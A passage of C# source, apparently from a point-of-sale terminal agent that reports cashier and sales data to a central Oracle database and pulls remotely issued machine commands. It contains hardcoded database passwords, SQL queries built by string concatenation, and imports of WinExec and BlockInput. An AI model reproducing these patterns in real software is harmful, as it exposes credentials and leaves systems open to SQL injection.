if (DateTime.Parse(getConfigValue(strUpdateXmlPath, "UpDate")).ToString("yyyy-MM-dd") == DateTime.Now.ToString("yyyy-MM-dd"))
{
if (GoCount < ReplaceCount)
{
GoCount = GoCount + 1;
SetReplaceValue("dbtrans_mode", "2");
}
}
}
#region 停用
private void timer1_Tick(object sender, EventArgs e)
{
base.Hide();
string SqlString = string.Empty;
this.timer1.Interval = 60000;
try
{
OracleHelper _OracleHelper = new OracleHelper();
_OracleHelper.ConnString = "Data Source=orcl;user Id=highway_exchange;Password=qrwl";
string GetCountSql = string.Concat(new string[]
{
"SELECT COUNT(*) FROM highway_exchange.T_CONNECTPOINT WHERE MACHINECODE='",
this.MACHINECODE,
"' AND CONNECT_IP='",
this.GetAddressIP(),
"' AND SERVERPARTCODE='",
this.SERVERPARTCODE,
"' AND SHOPCODE='",
this.SHOPCODE,
"' AND MACHINENAME='",
this.GetMachineName(),
"'"
});
GetCurrAmount();
if (int.Parse(_OracleHelper.ExcuteSqlGetDataSet(GetCountSql, Guid.NewGuid().ToString()).Tables[0].Rows[0][0].ToString()) > 0)
{
SqlString = string.Concat(new string[]
{
"update highway_exchange.T_CONNECTPOINT set ",
"CONNECTPOINT_ID ="+DBTRANS_MODE+",",
"CONNECT_DATE = sysdate, ",
"CURRAMOUNT = "+CurrAmount + ",",
"CURRSELLCOUNT = "+CurrSellCount + ",",
"CURRCOMMCOUNT = "+GetCurrCommCount() + ",",
"CURRPRESON ='"+GetCurrPreson()+"', ",
"CONTENT='"+GetLastTrade() + "|"+GetLastSellData() + "|"+SoftVersion + "' ",
"WHERE MACHINECODE='",
this.MACHINECODE,
"' AND CONNECT_IP='",
this.GetAddressIP(),
"' AND SERVERPARTCODE='",
this.SERVERPARTCODE,
"' AND SHOPCODE='",
this.SHOPCODE,
"' AND MACHINENAME='",
this.GetMachineName() + "'"
});
}
else
{
SqlString = string.Concat(new string[]
{
@"INSERT INTO highway_exchange.T_CONNECTPOINT(MACHINECODE,CONNECT_DATE,CONNECT_IP,SERVERPARTCODE,SHOPCODE,MACHINENAME,CURRAMOUNT,CURRSELLCOUNT,
CURRCOMMCOUNT,CURRPRESON,CONTENT,CONNECTPOINT_ID)VALUES('",
this.MACHINECODE,
"',sysdate,'",
this.GetAddressIP(),
"','",
this.SERVERPARTCODE,
"','",
this.SHOPCODE,
"','",
this.GetMachineName(),
"','",
CurrAmount.ToString(),
"','",
CurrSellCount.ToString(),
"','",
GetCurrCommCount().ToString(),
"','",
GetCurrPreson(),
"','",
GetLastTrade() + "|"+GetLastSellData()+ "|"+SoftVersion,
"','",
DBTRANS_MODE,
"')"
});
}
_OracleHelper.ExecuteSqlTran(new string[]
{
SqlString
});
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("信息:" + ex.Message + "\r\n" + SqlString);
}
}
#endregion
#region 获取收银机名
public string GetMachineName()
{
string result;
try
{
result = Environment.MachineName;
}
catch (Exception)
{
result = "";
}
return result;
}
#endregion
#region 获取收银机IP
public string GetAddressIP()
{
string AddressIP = string.Empty;
try
{
IPAddress[] addressList = Dns.GetHostEntry(Dns.GetHostName()).AddressList;
for (int i = 0; i < addressList.Length; i++)
{
IPAddress _IPAddress = addressList[i];
if (_IPAddress.AddressFamily.ToString() == "InterNetwork")
{
AddressIP = _IPAddress.ToString();
}
}
}
catch { }
return AddressIP;
}
#endregion
public string GetValue(string Name)
{
string strLine = "";
string result = "";
//string constr = "DSN=anysql1;UID=dba;PWD=sql;";
string _Valuestr = "select configuration_name,configuration_values from dba.t_configuration where configuration_name = '" + Name + "'";
//OdbcConnection conany = new OdbcConnection(constr);
try
{
if (File.Exists("setup.ini"))
{
FileStream aFile = new FileStream("setup.ini", FileMode.Open);
StreamReader sr = new StreamReader(aFile);
for (strLine = sr.ReadLine(); strLine != null; strLine = sr.ReadLine())
{
if (strLine.ToLower().Contains(Name + "="))
{
sr.Close();
result = strLine.ToLower().Replace(Name + "=", "");
return result;
}
}
sr.Close();
}
else
{
DataTable configdt = ESSupport.Lib.SyBaseHelper.QueryOdbc(_Valuestr).Tables[0];
if (configdt.Rows.Count > 0)
result = configdt.Rows[0]["configuration_values"].ToString();
return result;
}
}
catch
{
//conany.Close();
result = "";
return result;
}
return "";
}
///
/// 当前收银员
///
private string GetCurrPreson()
{
string _strSelectSql = "";
if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1")
{
_strSelectSql = String.Format("SELECT ISNULL(A.SELLWORKERNAME,'未登录工班') AS PERSONNAME " +
"FROM T_SELLWORKER A,T_PERSONSELL_NEW B WHERE A.SELLWORKERCODE = B.SELLWORKER_CODE AND " +
"A.SERVERPARTCODE = B.SERVERPARTCODE AND B.SERVERPARTCODE = '{0}' AND B.SHOPCODE = '{1}' AND " +
"B.MACHINECODE = '{2}' AND B.ENDDATE IS NULL", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode);
}
else
{
_strSelectSql = String.Format("SELECT ISNULL(A.SELLWORKERNAME,'未登录工班') AS PERSONNAME " +
"FROM T_SELLWORKER A,T_PERSONSELL B WHERE A.SELLWORKERCODE = B.CASHWORKER_CODE " +
"AND A.SERVERPARTCODE = B.SERVERPARTCODE AND B.SERVERPARTCODE = '{0}' AND B.SHOPCODE = '{1}' " +
"AND B.MACHINECODE = '{2}' AND B.ENDDATE IS NULL", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode);
}
try
{
return Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0].Rows[0]["PERSONNAME"].ToString();
}
catch (Exception ex)
{
try { Lib.LogHelper.WriteServiceLog("获取当前工班收银员:" + ex.Message); } catch { }
return "";
}
#region
//string SqlString1 = @"
//select b.SELLWORKERNAME,a.STARTDATE
//from
// (select
// CASHWORKER_CODE,STARTDATE
// from
// DBA.T_PERSONSELL
// where
// SERVERPARTCODE ='" + SERVERPARTCODE + "' and SHOPCODE = '" + SHOPCODE + "' and MACHINECODE = '" + MACHINECODE + "' and ENDDATE is null) a, "
// + @" DBA.T_SELLWORKER b
//where
// a.CASHWORKER_CODE = b.SELLWORKERCODE
//order by a.STARTDATE desc";
//try
//{
// DataTable _DataTable = QueryOdbc(SqlString1).Tables[0];
// if (_DataTable.Rows.Count > 0)
// {
// return _DataTable.Rows[0]["SELLWORKERNAME"].ToString();
// }
// else
// {
// return "未登陆工班";
// }
//}
//catch (Exception ex)
//{
// return ex.Message;
//}
#endregion
}
private decimal CurrAmount = 0;
private decimal CurrSellCount = 0;
///
/// 当前金额
///
private void GetCurrAmount()
{
string _strSelectSql = "";
if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1")
{
_strSelectSql = String.Format("SELECT COUNT(DISTINCT(SELLMASTER_CODE)) AS ORDERCOUNT," +
"ISNULL(SUM(SELLMASTER_COUNT),0) AS SELLCOUNT,ISNULL(SUM(SELLMASTER_AMOUNT),0) AS FACTAMOUNT " +
"FROM T_SELLMASTER WHERE SELLMASTER_DATE BETWEEN TODAY() AND NOW() AND SERVERPARTCODE = '{0}' " +
"AND SHOPCODE = '{1}' AND MACHINECODE = '{2}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode);
}
else
{
_strSelectSql = String.Format("SELECT COUNT(DISTINCT(TICKETCODE)) AS ORDERCOUNT," +
"ISNULL(SUM(SELLCOUNT),0) AS SELLCOUNT,ISNULL(SUM(FACTAMOUNT),0) AS FACTAMOUNT " +
"FROM T_SELLDATA WHERE SELLDATA_DATE BETWEEN TODAY() AND NOW() " +
"AND SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' AND MACHINECODE = '{2}'",
_QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode);
}
try
{
DataTable _DataTable = Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0];
CurrSellCount = decimal.Parse(_DataTable.Rows[0]["ORDERCOUNT"].ToString());
//sellCount = (decimal)_DataTable.Rows[0]["SELLCOUNT"];
CurrAmount = decimal.Parse(_DataTable.Rows[0]["FACTAMOUNT"].ToString());
}
catch
{
CurrSellCount = 0;
//sellCount = 0;
CurrAmount = 0;
}
//return true;
#region
////string SqlString = @"select count(distinct TICKETCODE),sum(factamount)
//// from
//// DBA.T_SELLDATA a
//// where
//// SERVERPARTCODE = '" + SERVERPARTCODE + "' and SHOPCODE = '" + SHOPCODE + "' and MACHINECODE = '" + MACHINECODE + "' and "
//// + @" a.SELLDATA_DATE between (select max(STARTDATE) from highway_exchange.T_PERSONSELL b where
//// ENDDATE is null and a.SERVERPARTCODE = b.SERVERPARTCODE and
//// a.SHOPCODE = b.SHOPCODE and a.MACHINECODE = b.MACHINECODE) and getdate()";
//string SqlString = @"select count(distinct TICKETCODE),sum(factamount)
// from
// DBA.T_SELLDATA a
// where
// SERVERPARTCODE = '" + SERVERPARTCODE + "' and SHOPCODE = '" + SHOPCODE + "' and MACHINECODE = '" + MACHINECODE + "' and "
// + @" a.SELLDATA_DATE between today() and getdate()";
//try
//{
// DataTable _DataTable = QueryOdbc(SqlString).Tables[0];
// if (_DataTable.Rows.Count > 0)
// {
// CurrAmount = double.Parse(_DataTable.Rows[0][0].ToString());
// if (CurrSellCount == 0)
// {
// CurrAmount = 0;
// }
// if (string.IsNullOrEmpty(_DataTable.Rows[0][1].ToString()))
// {
// CurrSellCount = 0;
// }
// else
// {
// CurrSellCount = double.Parse(_DataTable.Rows[0][1].ToString());
// }
// }
// else
// {
// return;
// }
//}
//catch (Exception ex)
//{
// return;
//}
#endregion
}
///
/// 当前客单数
///
///
/// 当前销售商品数量
///
private decimal GetCurrCommCount()
{
string _strSelectSql = String.Format("SELECT COUNT(*) AS COMMODITYCOUNT FROM T_COMMODITYEX A,T_SHOPMESSAGE B " +
"WHERE A.ISVALID = 1 AND A.SERVERPARTSHOP_ID = B.SERVERPARTSHOP_ID AND B.SERVERPARTCODE = '{0}' " +
"AND B.SHOPCODE = '{1}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode);
try
{
return decimal.Parse(Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0].Rows[0]["COMMODITYCOUNT"].ToString());
}
catch
{
return 0;
}
#region
//string SqlString = "SELECT COUNT(*) FROM DBA.T_COMMODITYEX WHERE ISVALID = 1";
//try
//{
// DataTable _DataTable = QueryOdbc(SqlString).Tables[0];
// if (_DataTable.Rows.Count > 0)
// {
// return double.Parse(_DataTable.Rows[0][0].ToString());
// }
// else
// {
// return 0;
// }
//}
//catch
//{
// return 0;
//}
#endregion
}
private string GetLastTrade()
{
string _strSelectSql = "";
if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1")
{
_strSelectSql = String.Format("SELECT MAX(SELLMASTER_DATE) FROM T_SELLMASTER " +
"WHERE SELLMASTER_DATE < NOW() AND SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' " +
"AND MACHINECODE = '{2}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode);
}
else
{
_strSelectSql = String.Format("SELECT MAX(SELLDATA_DATE) FROM T_SELLDATA " +
"WHERE SELLDATA_DATE < NOW() AND SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' " +
"AND MACHINECODE = '{2}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode);
}
try
{
return ((DateTime)Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0].Rows[0][0]).ToString("yyyy/MM/dd", DateTimeFormatInfo.InvariantInfo);
}
catch
{
return "";
}
#region
//string SqlString = @"SELECT MAX(SELLDATA_DATE) FROM DBA.T_SELLDATA
// where to_char(getdate(),'yyyy-mm-dd') = to_char(TO_DATE(SELLDATA_DATE,'YYYY-MM-DD HH24:MI:SS'),'yyyy-mm-dd')";
//SqlString = "SELECT MAX(SELLDATA_DATE) from DBA.T_SELLDATA";
//try
//{
// DataTable _DataTable = QueryOdbc(SqlString).Tables[0];
// if (_DataTable.Rows.Count > 0)
// {
// //if (_DataTable.Rows[0][0].ToString().Split(' ')[0] != System.DateTime.Now.ToString("yyyy-MM-dd"))
// //{
// // return "未开始收银";
// //}
// //else
// //{
// return _DataTable.Rows[0][0].ToString().Split(' ')[0];
// //}
// }
// else
// {
// return "";
// }
//}
//catch (Exception ex)
//{
// return "";
//}
#endregion
}
private string GetLastSellData()
{
//销售日期,销售商品,销售金额
string _strSellDate = "";
string _strCommodity = "";
decimal _decFactAmount = 0;
string _strSellDetail = "";
string _strSelectSql = "";
if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1")
{
_strSelectSql = "SELECT B.SELLMASTER_DATE AS SELLDATA_DATE,B.SELLMASTER_AMOUNT AS FACTAMOUNT" +
",A.COMMODITY_CODE AS COMMODITY_CODE,A.SELLDETAILS_COUNT AS SELLCOUNT,A.SELLDETAILS_PRICE AS SELLPRICE " +
"FROM T_SELLDETAILS A,T_SELLMASTER B WHERE A.SELLMASTER_CODE = B.SELLMASTER_CODE AND B.SELLMASTER_DATE = (" +
"SELECT MAX(SELLMASTER_DATE) FROM T_SELLMASTER WHERE SELLMASTER_DATE BETWEEN TODAY() AND NOW())";
}
else
{
_strSelectSql = "SELECT SELLDATA_DATE,COMMODITY_CODE,FACTAMOUNT,SELLCOUNT,SELLPRICE " +
"FROM T_SELLDATA WHERE SELLDATA_DATE = (SELECT MAX(SELLDATA_DATE) " +
"FROM DBA.T_SELLDATA WHERE SELLDATA_DATE BETWEEN TODAY() AND NOW())";
}
try
{
DataTable _DataTable = Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0];
if (_DataTable.Rows.Count > 0)
{
//销售时间
_strSellDate = _DataTable.Rows[0]["SELLDATA_DATE"].ToString();
//销售金额
if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1")
{
_decFactAmount = decimal.Parse(_DataTable.Rows[0]["FACTAMOUNT"].ToString());
}
else
{
_decFactAmount = decimal.Parse(_DataTable.Compute("SUM(FACTAMOUNT)", "").ToString());
}
//销售明细
for (int i = 0; i < _DataTable.Rows.Count; i++)
{
_strCommodity += (_strCommodity == "" ? "" : ",") + _DataTable.Rows[i]["COMMODITY_CODE"].ToString();
_strSellDetail += (_strSellDetail == "" ? "(" : ",(") + ((decimal)_DataTable.Rows[i]["SELLCOUNT"]).ToString("F2") +
"*" + decimal.Parse(_DataTable.Rows[i]["SELLPRICE"].ToString()).ToString("F2") + ")";
}
return _strSellDate + "|" + _strCommodity + "|" + _decFactAmount.ToString("F2") + "|" + _strSellDetail;
}
else
{
return "";
}
}
catch
{
return "";
}
#region
////销售日期,销售商品,销售金额
//string SellData = string.Empty;
//string Commodity = string.Empty;
//double FactAmount = 0;
//string SellDetail = "";
//bool flag = true;
//string SqlString = @"select SELLDATA_DATE,COMMODITY_CODE,FACTAMOUNT,SELLCOUNT,SELLPRICE from t_selldata
// where selldata_date = (select max(selldata_date) from t_selldata where selldata_date between today() and now())";
//try
//{
// DataTable _DataTable = QueryOdbc(SqlString).Tables[0];
// if (_DataTable.Rows.Count > 0)
// {
// foreach (DataRow _Dr in _DataTable.Rows)
// {
// if (flag)
// {
// SellData = _Dr["SELLDATA_DATE"].ToString();
// flag = false;
// }
// Commodity += (Commodity == string.Empty ? "" : ",") + _Dr["COMMODITY_CODE"].ToString();
// //金额
// FactAmount += double.Parse(_Dr["FACTAMOUNT"].ToString());
// //销售明细
// SellDetail += (SellDetail == "" ? "" : ",") + "(" + _Dr["SELLCOUNT"].ToString() + "*" + _Dr["SELLPRICE"].ToString() + ")";
// }
// }
// else
// {
// return "";
// }
// return SellData + "|" + Commodity + "|" + FactAmount + "|" + SellDetail;
//}
//catch (Exception ex)
//{
// return "";
//}
#endregion
}
public bool SetReplaceValue(string Name, string Value)
{
try
{
string[] LinesText = System.IO.File.ReadAllLines("setup.ini", Encoding.Default);
for (int i = 0; i < LinesText.Length; i++)
{
if (LinesText[i].Split('=')[0].ToLower() == Name)
{
LinesText[i] = Name + "=" + Value;
}
}
using (System.IO.StreamWriter file = new System.IO.StreamWriter("setup.ini", false, Encoding.Default))
{
foreach (string line in LinesText)
{
file.WriteLine(line);// 直接追加文件末尾,换行
}
}
return true;
}
catch
{
return false;
}
}
public string strUpdateXmlPath = Application.StartupPath + @"/update.xml";
private string getConfigValue(string path, string appKey)
{
XmlDocument xDoc = new XmlDocument();
XmlNode xNode;
XmlElement xElem = null;
try
{
xDoc.Load(path);
xNode = xDoc.SelectSingleNode("//appSettings");
xElem = (XmlElement)xNode.SelectSingleNode("//add[@key=\"" + appKey + "\"]");
}
catch (XmlException ex)
{
}
if (xElem != null)
return xElem.GetAttribute("value");
else
return "";
}
#region 数据库链接QueryOracle和TXT文本读取
public OracleConnection QueryOracle()
{
try
{
//判断没有set.ini文件,那么就新建set.ini文件
if (!File.Exists("set.ini"))
{
FileStream fs = new FileStream("setup.ini", FileMode.Open);
StreamReader m_streamReader = new StreamReader(fs, Encoding.Default);
m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin);
string strLine = m_streamReader.ReadLine();
do
{
string[] split = strLine.Split('=');
string b = split[0];
if (b == "dbip")
dbip = split[1];
else if (b == "dbport")
dbport = split[1];
else if (b == "dbname")
dbname = split[1];
else if (b == "dbuser")
dbuser = split[1];
else if (b == "dbpass")
dbpass = split[1];
else if (b == "conname")
conname = split[1];
else if (b == "serverpartcode")
serverpartcode = split[1];
else if (b == "shopcode")
shopcode = split[1];
else if (b == "machinecode")
machinecode = split[1];
strLine = m_streamReader.ReadLine();
}
while (strLine != null);
FileStream fs1 = new FileStream("set.ini", FileMode.Create, FileAccess.Write);
StreamReader read = new StreamReader(fs, Encoding.Default);
read.BaseStream.Seek(0, SeekOrigin.Begin);
StreamWriter sw = new StreamWriter(fs1);
//sw.WriteLine("[controlTime]");
//sw.WriteLine("---命令启动时间间隔");
//sw.WriteLine("ORDERTime=5");
//sw.WriteLine("---获取CPU状态时间间隔");
//sw.WriteLine("CPUState=60");
//sw.WriteLine("---检测文件对比差异时间间隔");
//sw.WriteLine("FileDifferenceTime=10");
//sw.WriteLine("---商品信息自动刷新时间间隔");
//sw.WriteLine("COMMODITYUpdateTime=10");
//sw.WriteLine();
string line = read.ReadLine();
do
{
string[] create = line.Split('=');
string a = create[0];
if (a == "[database]") sw.WriteLine(line);
else if (a == "startype") sw.WriteLine(line);
else if (a == "servername") sw.WriteLine(line);
else if (a == "apppath") sw.WriteLine(line);
else if (a == "port") sw.WriteLine(line);
else if (a == "openpath") sw.WriteLine(line);
else if (a == "") sw.WriteLine();
else if (a == "[DBCONECT]") sw.WriteLine(line);
else if (a == "dbip") sw.WriteLine(line);
else if (a == "dbport") sw.WriteLine(line);
else if (a == "dbname") sw.WriteLine(line);
else if (a == "dbuser") sw.WriteLine(line);
else if (a == "dbpass") sw.WriteLine(line);
else if (a == "conname") sw.WriteLine(line);
else if (a == "serverpartcode") sw.WriteLine(line);
else if (a == "shopcode") sw.WriteLine(line);
else if (a == "machinecode") sw.WriteLine(line);
else if (a == "orapath") sw.WriteLine(line);
line = read.ReadLine();
}
while (line != null);
try
{
string xmlPath = "http://" + dbip + ":11000/UpdateServer/UpdateList.xml";
WebRequest myRequest = WebRequest.Create(xmlPath);
WebResponse myResponse = myRequest.GetResponse();
myResponse.Close();
XmlDocument xml = new XmlDocument();
xml.Load("update.xml");
var keys = xml.GetElementsByTagName("add");
if (keys[0].Attributes["key"].InnerText == "IP" && keys[0].Attributes["value"].InnerText != dbip)
{
keys[0].Attributes["value"].InnerText = dbip;
xml.Save("update.xml");
}
}
catch
{ }
m_streamReader.Close();
read.Close();
sw.Close();
fs1.Close();
fs.Close();
}
else
{
//如果已经存在set.ini文件,则直接读取它信息
FileStream fs = new FileStream("set.ini", FileMode.Open);
StreamReader STRreader = new StreamReader(fs);
STRreader.BaseStream.Seek(0, SeekOrigin.Begin);
string STRline = STRreader.ReadLine();
do
{
string[] split = STRline.Split('=');
string i = split[0];
if (i == "dbip")
dbip = split[1];
else if (i == "dbport")
dbport = split[1];
else if (i == "dbname")
dbname = split[1];
else if (i == "dbuser")
dbuser = split[1];
else if (i == "dbpass")
dbpass = split[1];
else if (i == "conname")
conname = split[1];
else if (i == "serverpartcode")
serverpartcode = split[1];
else if (i == "shopcode")
shopcode = split[1];
else if (i == "machinecode")
machinecode = split[1];
STRline = STRreader.ReadLine();
}
while (STRline != null);
STRreader.Close();
fs.Close();
try
{
string xmlPath = "http://" + dbip + ":11000/UpdateServer/UpdateList.xml";
WebRequest myRequest = WebRequest.Create(xmlPath);
WebResponse myResponse = myRequest.GetResponse();
myResponse.Close();
if (ConnectState(xmlPath))
{
XmlDocument xml = new XmlDocument();
xml.Load("update.xml");
var keys = xml.GetElementsByTagName("add");
if (keys[0].Attributes["key"].InnerText == "IP" && keys[0].Attributes["value"].InnerText != dbip)
{
keys[0].Attributes["value"].InnerText = dbip;
xml.Save("update.xml");
}
}
}
catch
{
STRreader.Close();
fs.Close();
FileStream fs2 = new FileStream("setup.ini", FileMode.Open);
try
{
StreamReader m_streamReader = new StreamReader(fs2);
m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin);
string strLine = m_streamReader.ReadLine();
do
{
string[] split = strLine.Split('=');
string b = split[0];
if (b == "dbip")
dbip = split[1];
else if (b == "dbport")
dbport = split[1];
else if (b == "dbname")
dbname = split[1];
else if (b == "dbuser")
dbuser = split[1];
else if (b == "dbpass")
dbpass = split[1];
else if (b == "conname")
conname = split[1];
else if (b == "serverpartcode")
serverpartcode = split[1];
else if (b == "shopcode")
shopcode = split[1];
else if (b == "machinecode")
machinecode = split[1];
strLine = m_streamReader.ReadLine();
}
while (strLine != null);
fs2.Close();
}
catch (Exception ex)
{
fs2.Close();
}
}
}
}
catch (Exception ex)
{
}
string connString = "Data Source = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = " + _QualityHelper.dbip + ")(PORT = " + _QualityHelper.dbport +
"))(CONNECT_DATA = (SERVICE_NAME = " + _QualityHelper.conname + "))); User Id = " + _QualityHelper.dbuser + "; Password=" + _QualityHelper.dbpass + ";";
OracleConnection conn = new OracleConnection(connString);
return conn;
}
#endregion
public static bool ConnectState(string ConnectUrl)
{
try
{
// Creates an HttpWebRequest for the specified URL.
HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(ConnectUrl);
// 有些网站会阻止程序访问,需要加入下面这句
myHttpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
myHttpWebRequest.Method = "GET";
// Sends the HttpWebRequest and waits for a response.
HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();
if (myHttpWebResponse.StatusCode == HttpStatusCode.OK)
{
myHttpWebResponse.Close();
return true;
}
else
{
myHttpWebResponse.Close();
return false;
}
// Releases the resources of the response.
}
catch
{
return false;
}
}
public void CreateNode(XmlDocument xmlDoc, XmlNode parentNode, string name, string value)
{
XmlNode node = xmlDoc.CreateNode(XmlNodeType.Element, name, null);
node.InnerText = value;
parentNode.AppendChild(node);
}
#region 自动保存计算机硬件信息
private void TimerSaveProcess_Tick(object sender, EventArgs e)
{
base.Hide();
}
#endregion
#region CPU自动刷新 系统时间
private void TimerCPU_Tick(object sender, EventArgs e)
{
}
#endregion
#region 最小化托盘
private void F_Main_SizeChanged(object sender, EventArgs e)
{
}
private void F_Main_FormClosing(object sender, FormClosingEventArgs e)
{
}
private void 显示ToolStripMenuItem_Click(object sender, EventArgs e)
{
//WindowState = FormWindowState.Normal;
}
private void 退出ToolStripMenuItem_Click(object sender, EventArgs e)
{
}
#endregion
#region 命令执行
[DllImport("user32.dll")]
public static extern IntPtr SendMessage(
IntPtr hWnd,
uint msg,
uint wParam,
int lParam);
private const uint WM_SYSCOMMAND = 0x0112;
private const uint SC_MONITORPOWER = 0xF170;
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
public static extern bool BlockInput([In, MarshalAs(UnmanagedType.Bool)] bool fBlockIt);
[DllImport("kernel32.dll")]
public static extern int WinExec(string exeName, int operType);
private void timer1_Tick_1(object sender, EventArgs e)
{
//lblMACAdress.Text = "00:E0:4C:74:91:00";
string _mac = GetMacAddressByNetworkInformation();
if (_mac == string.Empty)
return;
OracleConnection conn = QueryOracle();
string comStr = "SELECT * FROM " + dbname + ".T_COMMODITYMACHINE WHERE MACHINE_MACADDRESS = '" + _mac + "'";
OracleCommand Com = new OracleCommand(comStr, conn);
//查询表创建新文件
string sqlsetup = "select * from " + dbname + ".T_MACHINECONFIG WHERE MACHINE_MACADDRESS = '" + _mac + "'";
OracleCommand ComSetup = new OracleCommand(sqlsetup, conn);
OracleDataReader rdSetup = null;
//连接SQL Anywhere数据库
string constr = "DSN=anysql1;UID=dba;PWD=sql;";
//string constr = "driver={RY Sybase SQL Anywhere 11.0};Dsn = anysql1; userid = dba; PWD=sql; servername = pos001; commlinks = 'SharedMemory,TCPIP{host=192.168.10.114}'";
//OdbcConnection conany = new OdbcConnection(constr);
#region 下载更新命令
try
{
conn.Open();
ISConnect = true;
if (ISConnect)
{
ISConnect = false;
OracleDataReader rd = Com.ExecuteReader();
rdSetup = ComSetup.ExecuteReader();
if (rd.HasRows)
{
while (rd.Read())
{
string COMMODITYMACHINE_ID = rd["COMMODITYMACHINE_ID"].ToString();
string SERVERPARTCODE = rd["SERVERPARTCODE"].ToString();
string SHOPCODE = rd["SHOPCODE"].ToString();
string MACHINENAME = rd["MACHINENAME"].ToString();
string MACHINE_MACADDRESS = rd["MACHINE_MACADDRESS"].ToString();
string MACHINE_IP = rd["MACHINE_IP"].ToString();
string MACHINE_STARTDATE = rd["MACHINE_STARTDATE"].ToString();
string MACHINE_ENDDATE = rd["MACHINE_ENDDATE"].ToString();
string HANDCONTENT = rd["HANDCONTENT"].ToString();
string HANDWAY = rd["HANDWAY"].ToString();
string FLAG = rd["FLAG"].ToString();
string REPEAT_STATE = rd["REPEAT_STATE"].ToString();
string DOWNLOAD_STATE = rd["DOWNLOAD_STATE"].ToString();
string UPLOAD_STATE = "0";
if (!string.IsNullOrEmpty(rd["UPLOAD_STATE"].ToString()))
{
UPLOAD_STATE = rd["UPLOAD_STATE"].ToString();
}
string INTERVALS_TIME = "0";
if (!string.IsNullOrEmpty(rd["INTERVALS_TIME"].ToString()))
{
INTERVALS_TIME = rd["INTERVALS_TIME"].ToString();
}
string REMARK_DESC = rd["REMARK_DESC"].ToString();
//conany.Open();
ISConnect = true;
if (ISConnect)
{
string sqlany = @"SELECT * FROM DBA.T_COMMODITYMACHINE WHERE COMMODITYMACHINE_ID = '" + COMMODITYMACHINE_ID +
"' AND MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "' AND HANDWAY='" + HANDWAY + "'";
DataTable _CommodityMachine = ESSupport.Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0];
//OdbcCommand cmd = new OdbcCommand(sqlany, conany);
//OdbcDataReader odbcrd = cmd.ExecuteReader();
if (_CommodityMachine.Rows.Count > 0)
{
foreach (DataRow odbcrd in _CommodityMachine.Rows)
{
if (odbcrd["MACHINE_MACADDRESS"].ToString() == MACHINE_MACADDRESS && odbcrd["HANDWAY"].ToString() == HANDWAY)
{
if (odbcrd["FLAG"].ToString() != FLAG || odbcrd["MACHINE_STARTDATE"].ToString() != MACHINE_STARTDATE
|| odbcrd["REPEAT_STATE"].ToString() != REPEAT_STATE || odbcrd["INTERVALS_TIME"].ToString() != INTERVALS_TIME
|| odbcrd["MACHINE_ENDDATE"].ToString() != MACHINE_ENDDATE)
{
string updateSql = @" UPDATE DBA.T_COMMODITYMACHINE
SET FLAG=" + FLAG + " , MACHINE_STARTDATE = '" + MACHINE_STARTDATE + "', REPEAT_STATE=" + REPEAT_STATE +
" ,MACHINE_ENDDATE='" + MACHINE_ENDDATE + "',INTERVALS_TIME=" + INTERVALS_TIME + " ,HANDCONTENT='" + HANDCONTENT +
"',UPLOAD_STATE='" + UPLOAD_STATE + "',REMARK_DESC='" + REMARK_DESC +
"' WHERE MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "' AND HANDWAY='" + HANDWAY +
"' AND COMMODITYMACHINE_ID = " + COMMODITYMACHINE_ID;
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(updateSql);
//OdbcCommand updateCMD = new OdbcCommand(updateSql, conany);
//updateCMD.ExecuteNonQuery();
}
else
{
if (odbcrd["FLAG"].ToString() == FLAG && odbcrd["MACHINE_STARTDATE"].ToString() == MACHINE_STARTDATE
&& odbcrd["REPEAT_STATE"].ToString() == REPEAT_STATE && odbcrd["INTERVALS_TIME"].ToString() == INTERVALS_TIME
&& odbcrd["MACHINE_ENDDATE"].ToString() == MACHINE_ENDDATE && odbcrd["UPLOAD_STATE"].ToString() != UPLOAD_STATE)
{
string updateSql = @" UPDATE " + dbname + ".T_COMMODITYMACHINE SET UPLOAD_STATE='" + odbcrd["UPLOAD_STATE"].ToString() +
"', REMARK_DESC='" + odbcrd["REMARK_DESC"].ToString() +
"' WHERE MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "' AND HANDWAY='" + HANDWAY +
"' AND COMMODITYMACHINE_ID = " + COMMODITYMACHINE_ID;
OracleCommand updateCMD = new OracleCommand(updateSql, conn);
updateCMD.ExecuteNonQuery();
}
else if (odbcrd["UPLOAD_STATE"].ToString() != UPLOAD_STATE)
{
string updateSql = @" UPDATE DBA.T_COMMODITYMACHINE
SET UPLOAD_STATE='" + UPLOAD_STATE +
"' WHERE MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "' AND HANDWAY='" + HANDWAY +
